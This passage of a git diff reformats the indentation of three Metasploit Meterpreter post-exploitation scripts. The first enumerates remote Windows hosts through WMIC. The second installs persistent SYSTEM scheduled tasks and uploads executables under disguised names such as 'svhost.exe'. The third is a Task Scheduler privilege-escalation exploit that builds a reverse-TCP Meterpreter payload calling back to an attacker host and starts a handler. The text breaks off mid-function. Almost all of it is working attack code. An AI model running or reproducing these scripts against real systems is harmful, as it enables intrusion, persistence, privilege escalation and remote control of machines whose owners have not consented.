process)"], - "-p" => [ true, "Password of user on target system"] + "-h" => [ false, "Help menu."], + "-t" => [ true, "The target address"], + "-u" => [ true, "User on the target system (If not provided it will use credential of process)"], + "-p" => [ true, "Password of user on target system"] ) # Create Filename info to be appended to downloaded files @@ -26,163 +26,163 @@ # WMIC Commands that will be executed on the Target wmic = [ - 'environment list', - 'share list', - 'nicconfig list', - 'computersystem list', - 'useraccount list', - 'group list', - 'sysaccount list', - 'volume list brief', - 'logicaldisk get description,filesystem,name,size', - 'netlogin get name,lastlogon,badpasswordcount', - 'netclient list brief', - 'netuse get name,username,connectiontype,localname', - 'share get name,path', - 'nteventlog get path,filename,writeable', - 'service list brief', - 'process list brief', - 'startup list full', - 'rdtoggle list', - 'product get name,version', - 'qfe list' + 'environment list', + 'share list', + 'nicconfig list', + 'computersystem list', + 'useraccount list', + 'group list', + 'sysaccount list', + 'volume list brief', + 'logicaldisk get description,filesystem,name,size', + 'netlogin get name,lastlogon,badpasswordcount', + 'netclient list brief', + 'netuse get name,username,connectiontype,localname', + 'share get name,path', + 'nteventlog get path,filename,writeable', + 'service list brief', + 'process list brief', + 'startup list full', + 'rdtoggle list', + 'product get name,version', + 'qfe list' ] ################## Function Declarations ################## # Function for running a list of WMIC commands stored in a array, returs string def wmicexec(session,wmic,user,pass,trgt) - print_status("Running WMIC Commands ....") - tmpout = '' - command = nil - runfail = 0 - runningas = session.sys.config.getuid - begin - tmp = session.fs.file.expand_path("%TEMP%") - # Temporary file on windows host to store results - wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" - - wmic.each do |wmi| - if user == nil - print_status("The commands will be ran under the credentials of #{runningas}") - command = "/node:#{trgt} /append:#{wmicfl} #{wmi}" - else - command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}" - end - print_status "\trunning command wimic #{wmi}" - r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) - sleep(1) - #print_status "\twmic #{command}" - r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true}) - #Making sure that wmic finishes before executing next wmic command - prog2check = "wmic.exe" - found = 0 - sleep(2) - while found == 0 - session.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - sleep(0.5) - found = 0 - end - end - end - r.close - end - # Read the output file of the wmic commands - wmioutfile = session.fs.file.new(wmicfl, "rb") - until wmioutfile.eof? - tmpout << wmioutfile.read - end - # Close output file in host - wmioutfile.close - rescue ::Exception => e - print_status("Error running WMIC commands: #{e.class} #{e}") - end - # We delete the file with the wmic command output. - c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) - c.close - tmpout + print_status("Running WMIC Commands ....") + tmpout = '' + command = nil + runfail = 0 + runningas = session.sys.config.getuid + begin + tmp = session.fs.file.expand_path("%TEMP%") + # Temporary file on windows host to store results + wmicfl = tmp + "\\wmictmp#{rand(100000)}.txt" + + wmic.each do |wmi| + if user == nil + print_status("The commands will be ran under the credentials of #{runningas}") + command = "/node:#{trgt} /append:#{wmicfl} #{wmi}" + else + command = "/user:#{user} /password:#{pass} /node:#{trgt} /append:#{wmicfl} #{wmi}" + end + print_status "\trunning command wimic #{wmi}" + r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) + sleep(1) + r = session.sys.process.execute("cmd.exe /c echo Output of wmic #{wmi} from #{trgt} >> #{wmicfl}",nil, {'Hidden' => 'true'}) + sleep(1) + r = session.sys.process.execute("cmd.exe /c echo ***************************************** >> #{wmicfl}",nil, {'Hidden' => 'true'}) + sleep(1) + #print_status "\twmic #{command}" + r = session.sys.process.execute("cmd.exe /c wmic #{command}", nil, {'Hidden' => true}) + #Making sure that wmic finishes before executing next wmic command + prog2check = "wmic.exe" + found = 0 + sleep(2) + while found == 0 + session.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + sleep(0.5) + found = 0 + end + end + end + r.close + end + # Read the output file of the wmic commands + wmioutfile = session.fs.file.new(wmicfl, "rb") + until wmioutfile.eof? + tmpout << wmioutfile.read + end + # Close output file in host + wmioutfile.close + rescue ::Exception => e + print_status("Error running WMIC commands: #{e.class} #{e}") + end + # We delete the file with the wmic command output. + c = session.sys.process.execute("cmd.exe /c del #{wmicfl}", nil, {'Hidden' => true}) + c.close + tmpout end #------------------------------------------------------------------------------ # Function to generate report header def headerbuid(session,target,dest) - # Header for File that will hold all the output of the commands - info = session.sys.config.sysinfo - header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n" - header << "Running as: #{client.sys.config.getuid}\n" - header << "From: #{info['Computer']}\n" - header << "OS: #{info['OS']}\n" - header << "Target: #{target}\n" - header << "\n\n\n" - - print_status("Saving report to #{dest}") - header + # Header for File that will hold all the output of the commands + info = session.sys.config.sysinfo + header = "Date: #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n" + header << "Running as: #{client.sys.config.getuid}\n" + header << "From: #{info['Computer']}\n" + header << "OS: #{info['OS']}\n" + header << "Target: #{target}\n" + header << "\n\n\n" + + print_status("Saving report to #{dest}") + header end #------------------------------------------------------------------------------ # Function Help Message def helpmsg - print("Remote Windows Enumeration Meterpreter Script\n" + - "This script will enumerate windows hosts in the target enviroment\n" + - "given a username and password or using the credential under witch\n" + - "Meterpeter is running using WMI wmic windows native tool.\n" + - "Usage:\n" + - @@exec_opts.usage) + print("Remote Windows Enumeration Meterpreter Script\n" + + "This script will enumerate windows hosts in the target enviroment\n" + + "given a username and password or using the credential under witch\n" + + "Meterpeter is running using WMI wmic windows native tool.\n" + + "Usage:\n" + + @@exec_opts.usage) end ################## MAIN ################## if client.platform =~ /win32|win64/ - localos = session.sys.config.sysinfo - - # Check that the command is not being ran on a Win2k host - # since wmic is not present in Windows 2000 - if localos =~ /(Windows 2000)/ - print_status("This script is not supported to be ran from Windows 2000 servers!!!") - else - # Parsing of Options - @@exec_opts.parse(args) { |opt, idx, val| - case opt - - when "-t" - trg = val - when "-u" - rusr = val - when "-p" - rpass = val - when "-h" - helpmsg - helpcall = 1 - end - - } - #logfile name - dest = logs + "/" + trg + filenameinfo - # Executing main logic of the script - if helpcall == 0 and trg != "" - - # Making sure that is running as System a Username and Password for target machine must be provided - - if is_system? && rusr == nil && rpass == nil - - print_status("Stopped: Running as System and no user provided for connecting to target!!") - - else trg != nil && helpcall != 1 - - file_local_write(dest,headerbuid(session,trg,dest)) - file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg)) - - end - elsif helpcall == 0 and trg == "" - - helpmsg - end - end + localos = session.sys.config.sysinfo + + # Check that the command is not being ran on a Win2k host + # since wmic is not present in Windows 2000 + if localos =~ /(Windows 2000)/ + print_status("This script is not supported to be ran from Windows 2000 servers!!!") + else + # Parsing of Options + @@exec_opts.parse(args) { |opt, idx, val| + case opt + + when "-t" + trg = val + when "-u" + rusr = val + when "-p" + rpass = val + when "-h" + helpmsg + helpcall = 1 + end + + } + #logfile name + dest = logs + "/" + trg + filenameinfo + # Executing main logic of the script + if helpcall == 0 and trg != "" + + # Making sure that is running as System a Username and Password for target machine must be provided + + if is_system? && rusr == nil && rpass == nil + + print_status("Stopped: Running as System and no user provided for connecting to target!!") + + else trg != nil && helpcall != 1 + + file_local_write(dest,headerbuid(session,trg,dest)) + file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg)) + + end + elsif helpcall == 0 and trg == "" + + helpmsg + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/scheduleme.rb b/scripts/meterpreter/scheduleme.rb index 7134005e9845..adc89c515027 100644 --- a/scripts/meterpreter/scheduleme.rb +++ b/scripts/meterpreter/scheduleme.rb @@ -11,180 +11,180 @@ ################## Variable Declarations ################## session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ], - "-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"], - "-d" => [ false,"Daily." ], - "-hr" => [ true,"Every specified hours 1-23."], - "-m" => [ true, "Every specified amount of minutes 1-1439"], - "-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"], - "-l" => [ false,"When a user logs on."], - "-o" => [ true,"Options for executable when upload method used"], - "-s" => [ false,"At system startup."], - "-i" => [ false,"Run command imediatly and only once."], - "-r" => [ false,"Remote Schedule. Executable has to be already on remote target"], - "-u" => [ false,"Username of account with administrative privelages."], - "-p" => [ false,"Password for account provided."], - "-t" => [ true,"Remote system to schedule job."] + "-h" => [ false,"Help menu." ], + "-c" => [ true,"Command to execute at the given time. If options for execution needed use double quotes"], + "-d" => [ false,"Daily." ], + "-hr" => [ true,"Every specified hours 1-23."], + "-m" => [ true, "Every specified amount of minutes 1-1439"], + "-e" => [ true, "Executable or script to upload to target host, will not work with remote schedule"], + "-l" => [ false,"When a user logs on."], + "-o" => [ true,"Options for executable when upload method used"], + "-s" => [ false,"At system startup."], + "-i" => [ false,"Run command imediatly and only once."], + "-r" => [ false,"Remote Schedule. Executable has to be already on remote target"], + "-u" => [ false,"Username of account with administrative privelages."], + "-p" => [ false,"Password for account provided."], + "-t" => [ true,"Remote system to schedule job."] ) ################## function declaration Declarations ################## def usage() - print_line("Scheduleme -- provides most common scheduling types used during a pentest") - print_line("This script can upload a given executable or script and schedule it to be") - print_line("executed. All scheduled task are run as System so the Meterpreter process") - print_line("must be System or local admin for local schedules and Administrator for") - print_line("remote schedules") - print_line(@@exec_opts.usage) + print_line("Scheduleme -- provides most common scheduling types used during a pentest") + print_line("This script can upload a given executable or script and schedule it to be") + print_line("executed. All scheduled task are run as System so the Meterpreter process") + print_line("must be System or local admin for local schedules and Administrator for") + print_line("remote schedules") + print_line(@@exec_opts.usage) end #--------------------------------------------------------------------------------------------------------- def scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) - execmd = "" - success = false - taskname = "syscheck#{rand(100)}" - if cmdopt != nil - cmd = "#{cmd} #{cmdopt}" - end - case schtype - when "startup" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system /u #{username} /p #{password}" - end - when "login" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system /u #{username} /p #{password}" - end - when "hourly" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /u #{username} /p #{password}" - end - when "daily" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /u #{username} /p #{password}" - end - when "minute" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /u #{username} /p #{password}" - end - when "now" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00 /u #{username} /p #{password}" - end - end - print_status("Scheduling command #{cmd} to run #{schtype}.....") - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - if username == nil - print_status("For cleanup run schtasks /delete /tn #{taskname} /F") - else - print_status("For cleanup run schtasks /delete /tn #{taskname} /u #{username} /p #{password} /F") - end - success = true - end - end - if !success - print_status("Failed to create scheduled task!!") - elsif success && schtype == "now" - if username == nil - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname}") - else - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /u #{username} /p #{password}") - end - end - r.channel.close - r.close + execmd = "" + success = false + taskname = "syscheck#{rand(100)}" + if cmdopt != nil + cmd = "#{cmd} #{cmdopt}" + end + case schtype + when "startup" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /ru system /u #{username} /p #{password}" + end + when "login" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /ru system /u #{username} /p #{password}" + end + when "hourly" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /u #{username} /p #{password}" + end + when "daily" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /u #{username} /p #{password}" + end + when "minute" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /u #{username} /p #{password}" + end + when "now" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /st 00:00:00 /u #{username} /p #{password}" + end + end + print_status("Scheduling command #{cmd} to run #{schtype}.....") + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + if username == nil + print_status("For cleanup run schtasks /delete /tn #{taskname} /F") + else + print_status("For cleanup run schtasks /delete /tn #{taskname} /u #{username} /p #{password} /F") + end + success = true + end + end + if !success + print_status("Failed to create scheduled task!!") + elsif success && schtype == "now" + if username == nil + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname}") + else + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /u #{username} /p #{password}") + end + end + r.channel.close + r.close end #--------------------------------------------------------------------------------------------------------- def scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password) - execmd = "" - success = false - taskname = "syscheck#{rand(100)}" - if cmdopt != nil - cmd = "#{cmd} #{cmdopt}" - end - case schtype - when "startup" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /ru system " - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /u #{username} /p #{password} /ru system " - end - when "login" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /ru system " - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /u #{username} /p #{password} /ru system " - end - when "hourly" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys}" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" - end - when "daily" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys}" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" - end - when "minute" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys}" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" - end - when "now" - if username == nil - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00" - else - execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00 /u #{username} /p #{password}" - end - end - print_status("Scheduling command #{cmd} to run #{schtype}.....") - r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) - while(d = r.channel.read) - if d =~ /successfully been created/ - print_status("The scheduled task has been successfully created") - print_status("For cleanup run schtasks /delete /tn #{taskname} /s #{targetsys} /u #{username} /p #{password} /F") - success = true - end - end - if !success - print_status("Failed to create scheduled task!!") - elsif success && schtype == "now" - if username == nil - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys}") - else - session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys} /u #{username} /p #{password}") - end - end - r.channel.close - r.close + execmd = "" + success = false + taskname = "syscheck#{rand(100)}" + if cmdopt != nil + cmd = "#{cmd} #{cmdopt}" + end + case schtype + when "startup" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /ru system " + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onstart /s #{targetsys} /u #{username} /p #{password} /ru system " + end + when "login" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /ru system " + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc onlogon /s #{targetsys} /u #{username} /p #{password} /ru system " + end + when "hourly" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys}" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc hourly /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" + end + when "daily" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys}" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc daily /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" + end + when "minute" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys}" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc minute /mo #{tmmod} /ru system /s #{targetsys} /u #{username} /p #{password}" + end + when "now" + if username == nil + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00" + else + execmd = "schtasks /create /tn \"#{taskname}\" /tr \"#{cmd}\" /sc once /ru system /s #{targetsys} /st 00:00:00 /u #{username} /p #{password}" + end + end + print_status("Scheduling command #{cmd} to run #{schtype}.....") + r = session.sys.process.execute("cmd.exe /c #{execmd}", nil, {'Hidden' => 'true','Channelized' => true}) + while(d = r.channel.read) + if d =~ /successfully been created/ + print_status("The scheduled task has been successfully created") + print_status("For cleanup run schtasks /delete /tn #{taskname} /s #{targetsys} /u #{username} /p #{password} /F") + success = true + end + end + if !success + print_status("Failed to create scheduled task!!") + elsif success && schtype == "now" + if username == nil + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys}") + else + session.sys.process.execute("cmd.exe /c schtasks /run /tn #{taskname} /s #{targetsys} /u #{username} /p #{password}") + end + end + r.channel.close + r.close end #--------------------------------------------------------------------------------------------------------- def upload(session,file) - location = session.fs.file.expand_path("%TEMP%") - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - print_status("Uploading #{file}....") - session.fs.file.upload_file("#{fileontrgt}","#{file}") - print_status("#{file} uploaded!") - return fileontrgt + location = session.fs.file.expand_path("%TEMP%") + fileontrgt = "#{location}\\svhost#{rand(100)}.exe" + print_status("Uploading #{file}....") + session.fs.file.upload_file("#{fileontrgt}","#{file}") + print_status("#{file} uploaded!") + return fileontrgt end # Parsing of Options cmd = nil @@ -198,62 +198,62 @@ def upload(session,file) username = nil password = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-c" - cmd = val - when "-e" - file = val - when "-d" - tmmod = val - schtype = "daily" - when "-hr" - tmmod = val - schtype = "hourly" - when "-m" - tmmod = val - schtype = "minute" - when "-s" - schtype = "startup" - when "-l" - schtype = "login" - when "-i" - schtype = "now" - when "-o" - cmdopt = val - when "-r" - remote = 1 - when "-t" - targetsys = val - when "-u" - username = val - when "-p" - password = val - when "-h" - helpcall = 1 - end + when "-c" + cmd = val + when "-e" + file = val + when "-d" + tmmod = val + schtype = "daily" + when "-hr" + tmmod = val + schtype = "hourly" + when "-m" + tmmod = val + schtype = "minute" + when "-s" + schtype = "startup" + when "-l" + schtype = "login" + when "-i" + schtype = "now" + when "-o" + cmdopt = val + when "-r" + remote = 1 + when "-t" + targetsys = val + when "-u" + username = val + when "-p" + password = val + when "-h" + helpcall = 1 + end } if client.platform =~ /win32|win64/ - if helpcall == 1 - usage() - elsif cmd == nil && file == nil - usage() - elsif !is_uac_enabled? and is_admin? - if file == nil - if remote == 0 - scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) - else - scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password) - end - else - cmd = upload(session,file) - scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) - end - else - print_status("Meterpreter is not running under sufficient administrative rights.") - end + if helpcall == 1 + usage() + elsif cmd == nil && file == nil + usage() + elsif !is_uac_enabled? and is_admin? + if file == nil + if remote == 0 + scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) + else + scheduleremote(session,schtype,cmd,tmmod,cmdopt,targetsys,username,password) + end + else + cmd = upload(session,file) + scheduleme(session,schtype,cmd,tmmod,cmdopt,username,password) + end + else + print_status("Meterpreter is not running under sufficient administrative rights.") + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/schelevator.rb b/scripts/meterpreter/schelevator.rb index f10648d98953..e74e08da35b3 100644 --- a/scripts/meterpreter/schelevator.rb +++ b/scripts/meterpreter/schelevator.rb @@ -20,33 +20,33 @@ # Filter out sessions that this definitely won't work on. # if session.platform !~ /win32|win64|java/ - print_error("#{session.platform} is not supported.") - raise Rex::Script::Completed + print_error("#{session.platform} is not supported.") + raise Rex::Script::Completed end if session.sys.config.sysinfo["Architecture"] =~ /wow64/i - # - # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters - # worse, meterpreter/railgun creates things in a new thread, making it much more - # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, - # offer a workaround and error out. - # - print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") - raise Rex::Script::Completed + # + # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters + # worse, meterpreter/railgun creates things in a new thread, making it much more + # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, + # offer a workaround and error out. + # + print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") + raise Rex::Script::Completed end vuln = false winver = session.sys.config.sysinfo["OS"] affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] affected.each { |v| - if winver.include? v - vuln = true - break - end + if winver.include? v + vuln = true + break + end } if not vuln - print_error("#{winver} is not vulnerable.") - raise Rex::Script::Completed + print_error("#{winver} is not vulnerable.") + raise Rex::Script::Completed end @@ -54,18 +54,18 @@ # We have a chance to succeed, check params # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-c" => [ true, "Execute the specified command" ], - "-u" => [ true, "Upload and execute the specified file" ], - "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], - "-p" => [ true, "The port on the remote host where Metasploit is listening"], - "-t" => [ true, "Use the specified task name" ] + "-h" => [ false, "Help menu." ], + "-c" => [ true, "Execute the specified command" ], + "-u" => [ true, "Upload and execute the specified file" ], + "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"], + "-p" => [ true, "The port on the remote host where Metasploit is listening"], + "-t" => [ true, "Use the specified task name" ] ) def usage - print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation") - print(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation") + print(@@exec_opts.usage) + raise Rex::Script::Completed end rhost = Rex::Socket.source_address @@ -74,66 +74,66 @@ def usage cmd = nil upload_fn = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt + case opt - when "-c" - cmd = val + when "-c" + cmd = val - when "-u" - upload_fn = val - if not ::File.exists?(upload_fn) - raise "Specified file to upload does not exist!" - end + when "-u" + upload_fn = val + if not ::File.exists?(upload_fn) + raise "Specified file to upload does not exist!" + end - when "-t" - taskname = val + when "-t" + taskname = val - when "-h" - usage + when "-h" + usage - when "-r" - rhost = val + when "-r" + rhost = val - when "-p" - rport = val.to_i - end + when "-p" + rport = val.to_i + end } # Must have at least one of -c or -u if not cmd and not upload_fn - print_status("Using default reverse-connect meterpreter payload; -c or -u not specified") - - # Get the exe payload. - pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") - pay.datastore['LHOST'] = rhost - pay.datastore['LPORT'] = rport - raw = pay.generate - exe = Msf::Util::EXE.to_win32pe(client.framework, raw) - #and placing it on the target in %TEMP% - tempdir = client.fs.file.expand_path("%TEMP%") - tempexename = Rex::Text.rand_text_alpha(rand(8)+6) - cmd = tempdir + "\\" + tempexename + ".exe" - print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}") - fd = client.fs.file.new(cmd, "wb") - fd.write(exe) - fd.close - - #get handler to be ready - handler = client.framework.exploits.create("multi/handler") - handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" - handler.datastore['LHOST'] = rhost - handler.datastore['LPORT'] = rport - handler.datastore['InitialAutoRunScript'] = "migrate -f" - handler.datastore['ExitOnSession'] = false - #start a handler to be ready - handler.exploit_simple( - 'Payload' => handler.datastore['PAYLOAD'], - 'RunAsJob' => true - ) + print_status("Using default reverse-connect meterpreter payload; -c or -u not specified") + + # Get the exe payload. + pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp") + pay.datastore['LHOST'] = rhost + pay.datastore['LPORT'] = rport + raw = pay.generate + exe = Msf::Util::EXE.to_win32pe(client.framework, raw) + #and placing it on the target in %TEMP% + tempdir = client.fs.file.expand_path("%TEMP%") + tempexename = Rex::Text.rand_text_alpha(rand(8)+6) + cmd = tempdir + "\\" + tempexename + ".exe" + print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{cmd}") + fd = client.fs.file.new(cmd, "wb") + fd.write(exe) + fd.close + + #get handler to be ready + handler = client.framework.exploits.create("multi/handler") + handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp" + handler.datastore['LHOST'] = rhost + handler.datastore['LPORT'] = rport + handler.datastore['InitialAutoRunScript'] = "migrate -f" + handler.datastore['ExitOnSession'] = false + #start a handler to be ready + handler.exploit_simple( + 'Payload' => handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) end if cmd - print_status("Using command: #{cmd}") + print_status("Using command: #{cmd}") end # @@ -142,148 +142,148 @@ def usage sysdir = session.fs.file.expand_path("%SystemRoot%") tmpdir = session.fs.file.expand_path("%TEMP%") if upload_fn - begin - location = tmpdir.dup - ext = upload_fn.split('.') - if ext - ext = ext.last.downcase - if ext == "exe" - location << "\\svhost#{rand(100)}.exe" - else - location << "\\TMP#{rand(100)}.#{ext}" - end - else - location << "\\TMP#{rand(100)}" - end - - print_status("Uploading #{upload_fn} to #{location}....") - session.fs.file.upload_file(location, upload_fn) - print_status("Upload complete.") - rescue ::Exception => e - print_error("Error uploading file #{upload_fn}: #{e.class} #{e}") - raise e - end - - cmd ||= location + begin + location = tmpdir.dup + ext = upload_fn.split('.') + if ext + ext = ext.last.downcase + if ext == "exe" + location << "\\svhost#{rand(100)}.exe" + else + location << "\\TMP#{rand(100)}.#{ext}" + end + else + location << "\\TMP#{rand(100)}" + end + + print_status("Uploading #{upload_fn} to #{location}....") + session.fs.file.upload_file(location, upload_fn) + print_status("Upload complete.") + rescue ::Exception => e + print_error("Error uploading file #{upload_fn}: #{e.class} #{e}") + raise e + end + + cmd ||= location end def crc32(data) - table = Zlib.crc_table - crc = 0xffffffff - data.unpack('C*').each { |b| - crc = table[(crc & 0xff) ^ b] ^ (crc >> 